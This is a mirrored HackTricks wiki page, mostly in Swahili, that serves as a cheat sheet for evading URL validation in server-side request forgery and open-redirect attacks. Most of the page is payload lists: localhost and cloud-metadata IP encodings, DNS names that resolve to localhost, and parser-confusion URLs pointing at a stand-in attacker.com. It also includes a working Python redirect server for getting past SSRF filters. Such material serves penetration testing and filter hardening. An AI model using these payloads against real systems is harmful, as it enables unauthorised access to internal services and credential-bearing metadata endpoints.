mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
217 lines
8.5 KiB
Markdown
217 lines
8.5 KiB
Markdown
# URL Format Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Localhost
|
||
```bash
|
||
# Localhost
|
||
0 # Yes, just 0 is localhost in Linuc
|
||
http://127.0.0.1:80
|
||
http://127.0.0.1:443
|
||
http://127.0.0.1:22
|
||
http://127.1:80
|
||
http://127.000000000000000.1
|
||
http://0
|
||
http:@0/ --> http://localhost/
|
||
http://0.0.0.0:80
|
||
http://localhost:80
|
||
http://[::]:80/
|
||
http://[::]:25/ SMTP
|
||
http://[::]:3128/ Squid
|
||
http://[0000::1]:80/
|
||
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
|
||
http://①②⑦.⓪.⓪.⓪
|
||
|
||
# CDIR bypass
|
||
http://127.127.127.127
|
||
http://127.0.1.3
|
||
http://127.0.0.0
|
||
|
||
# Dot bypass
|
||
127。0。0。1
|
||
127%E3%80%820%E3%80%820%E3%80%821
|
||
|
||
# Decimal bypass
|
||
http://2130706433/ = http://127.0.0.1
|
||
http://3232235521/ = http://192.168.0.1
|
||
http://3232235777/ = http://192.168.1.1
|
||
|
||
# Octal Bypass
|
||
http://0177.0000.0000.0001
|
||
http://00000177.00000000.00000000.00000001
|
||
http://017700000001
|
||
|
||
# Hexadecimal bypass
|
||
127.0.0.1 = 0x7f 00 00 01
|
||
http://0x7f000001/ = http://127.0.0.1
|
||
http://0xc0a80014/ = http://192.168.0.20
|
||
0x7f.0x00.0x00.0x01
|
||
0x0000007f.0x00000000.0x00000000.0x00000001
|
||
|
||
# Mixed encodings bypass
|
||
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
|
||
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
|
||
|
||
# Add 0s bypass
|
||
127.000000000000.1
|
||
|
||
# You can also mix different encoding formats
|
||
# https://www.silisoftware.com/tools/ipconverter.php
|
||
|
||
# Malformed and rare
|
||
localhost:+11211aaa
|
||
localhost:00011211aaaa
|
||
http://0/
|
||
http://127.1
|
||
http://127.0.1
|
||
|
||
# DNS to localhost
|
||
localtest.me = 127.0.0.1
|
||
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
|
||
mail.ebc.apple.com = 127.0.0.6 (localhost)
|
||
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
|
||
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
|
||
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
|
||
http://bugbounty.dod.network = 127.0.0.2 (localhost)
|
||
1ynrnhl.xip.io == 169.254.169.254
|
||
spoofed.burpcollaborator.net = 127.0.0.1
|
||
```
|
||
.png>)
|
||
|
||
Kiendelezi cha **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) kinatekeleza njia za kupita muundo wa IP.
|
||
|
||
### Mchambuzi wa Kikoa
|
||
```bash
|
||
https:attacker.com
|
||
https:/attacker.com
|
||
http:/\/\attacker.com
|
||
https:/\attacker.com
|
||
//attacker.com
|
||
\/\/attacker.com/
|
||
/\/attacker.com/
|
||
/attacker.com
|
||
%0D%0A/attacker.com
|
||
#attacker.com
|
||
#%20@attacker.com
|
||
@attacker.com
|
||
http://169.254.1698.254\@attacker.com
|
||
attacker%00.com
|
||
attacker%E3%80%82com
|
||
attacker。com
|
||
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
|
||
```
|
||
|
||
```
|
||
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
|
||
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
|
||
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
|
||
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
|
||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||
```
|
||
### Kichanganyiko cha Kikoa
|
||
```bash
|
||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||
# Try replacing https by http
|
||
# Try URL-encoded characters
|
||
https://{domain}@attacker.com
|
||
https://{domain}.attacker.com
|
||
https://{domain}%6D@attacker.com
|
||
https://attacker.com/{domain}
|
||
https://attacker.com/?d={domain}
|
||
https://attacker.com#{domain}
|
||
https://attacker.com@{domain}
|
||
https://attacker.com#@{domain}
|
||
https://attacker.com%23@{domain}
|
||
https://attacker.com%00{domain}
|
||
https://attacker.com%0A{domain}
|
||
https://attacker.com?{domain}
|
||
https://attacker.com///{domain}
|
||
https://attacker.com\{domain}/
|
||
https://attacker.com;https://{domain}
|
||
https://attacker.com\{domain}/
|
||
https://attacker.com\.{domain}
|
||
https://attacker.com/.{domain}
|
||
https://attacker.com\@@{domain}
|
||
https://attacker.com:\@@{domain}
|
||
https://attacker.com#\@{domain}
|
||
https://attacker.com\anything@{domain}/
|
||
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
|
||
|
||
# On each IP position try to put 1 attackers domain and the others the victim domain
|
||
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||
|
||
#Parameter pollution
|
||
next={domain}&next=attacker.com
|
||
```
|
||
### Paths and Extensions Bypass
|
||
|
||
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiambatisho, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
|
||
```
|
||
https://metadata/vulerable/path#/expected/path
|
||
https://metadata/vulerable/path#.extension
|
||
https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||
```
|
||
### Fuzzing
|
||
|
||
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||
|
||
### Automatic Custom Wordlists
|
||
|
||
Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji aliyetengwa na waathiriwa na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS.
|
||
|
||
{{#ref}}
|
||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||
{{#endref}}
|
||
|
||
### Bypass via redirect
|
||
|
||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** linalowezekana kwa ombi hilo.\
|
||
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **param ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
|
||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
#python3 ./redirector.py 8000 http://127.0.0.1/
|
||
|
||
import sys
|
||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
|
||
if len(sys.argv)-1 != 2:
|
||
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
|
||
sys.exit()
|
||
|
||
class Redirect(BaseHTTPRequestHandler):
|
||
def do_GET(self):
|
||
self.send_response(302)
|
||
self.send_header('Location', sys.argv[2])
|
||
self.end_headers()
|
||
|
||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||
```
|
||
## Explained Tricks
|
||
|
||
### Blackslash-trick
|
||
|
||
The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa kiwango cha WHATWG kwa backslash (`\`) kama sawa na forward slash (`/`), ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
|
||
|
||
|
||
|
||
### Left square bracket
|
||
|
||
Character ya “left square bracket” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji ambayo inatofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||
|
||
### Other Confusions
|
||
|
||
.png>)
|
||
|
||
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||
|
||
## References
|
||
|
||
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|